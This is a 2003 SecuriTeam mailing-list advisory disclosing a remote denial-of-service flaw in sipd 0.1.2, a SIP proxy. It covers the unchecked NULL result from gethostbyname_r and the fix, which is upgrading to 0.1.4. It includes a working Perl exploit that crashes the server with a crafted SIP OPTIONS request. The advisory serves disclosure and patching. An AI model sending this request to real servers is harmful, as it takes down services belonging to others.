

[UNIX] sipD gethostbyname_r DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0037.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/11/03

To: list@securiteam.com

Date: 11 Dec 2003 15:47:20 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

sipD gethostbyname_r DoS

SUMMARY

<<http://www.sxdesign.com/index.php?page=developer&submnu=sipd>> sipd is "a high performance, scalable SIP (Session Initiation Protocol) proxy and location server written in C". A denial of service vulnerability in the product allows remote attackers to cause the server to crash by sending it a specially crafted SIP request.

DETAILS

Vulnerable systems:

- * sipd version 0.1.2

Immune systems:

- * sipd version 0.1.4

Vulnerable code:

In `tp/tp.c`, line:

```
gethostbyname_r(p->tp->host, &hent, hbuf, sizeof(hbuf), &hres, &h_errno)
```

The program incorrectly checks only the return value of `gethostbyname_r`, i.e. if there is an error 1 is returned by the function. This causes a vulnerability, due to the fact that it is possible to trigger a situation

Securiteam: [UNIX] sipD gethostbyname_r DoS

where the function returns "0" and the "hres" value is NULL (which is later used).

This instance can be created for example by it trying to resolve something like "A192.168.1.6" (non-existing hostname).

This situation can be expected to happen if you read between the lines of the man file (regarding gethostbyname_r):

```
"int gethostbyname_r (const char *name,
    struct hostent *ret, char *buf, size_t buflen,
    struct hostent **result, int *h_errnop);
```

Glibc2 also has reentrant versions gethostbyname_r() and gethostbyname2_r(). These return 0 on success and nonzero on error. The result of the call is now stored in the struct with address ret. After the call, *result will be NULL on error or point to the result on success. Auxiliary data is stored in the buffer buf of length buflen. (If the buffer is too small, these functions will return ERANGE.) No global variable h_errno is modified, but the address of a variable in which to store error numbers is passed in h_errnop."

So only checking for "0" is not enough, as no error is returned (in our special case), while the pointer returned by **result is NULL.

In our code, gethostbyname_r(p->tp->host, &hent, hbuf, sizeof(hbuf), &hres, &h_errno), returns 0, and the hres is NULL, causing the next line bcopy(hres->h_addr_list[0], (char *)&addr, sizeof(addr)) to fail miserably.

Solution:

Upgrade to the latest version of the product, version 0.1.4 available at <http://www.sxdesign.com/download/sipd-0.1.4.tar.bz2>

Exploit:

```
#!/usr/bin/perl
```

```
# SIPd – SIP URI Denial of Service
# Kills sipd version 0.1.2
```

```
use IO::Socket;
use strict;
```

```
unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" }
```

```
my $remote_host = shift(@ARGV);
my $your_host = shift(@ARGV);
my $port = shift(@ARGV);
if ($port eq "")
{
    $port = "5060";
```

Securiteam: [UNIX] sipD gethostbyname_r DoS

}

```
my $buf = "OPTIONS sip:A$remote_host SIP/2.0\r\  
Via: SIP/2.0/UDP $your_host:3277\r\  
From: <sip:$your_host:3277>\r\  
To: <sip:$your_host:3277>\r\  
Call-ID: 12312312@$your_host\r\  
CSeq: 1 OPTIONS\r\  
Max-Forwards: 70\r\  
\r\n";
```

```
my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:  
$@\n"; my $ipaddr = inet_aton($remote_host) || $remote_host; my $portaddr  
= sockaddr_in($port, $ipaddr);
```

```
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:  
$!\n";
```

```
print "Now, '$remote_host' must be dead :)\n";
```

ADDITIONAL INFORMATION

SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for finding this vulnerability.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.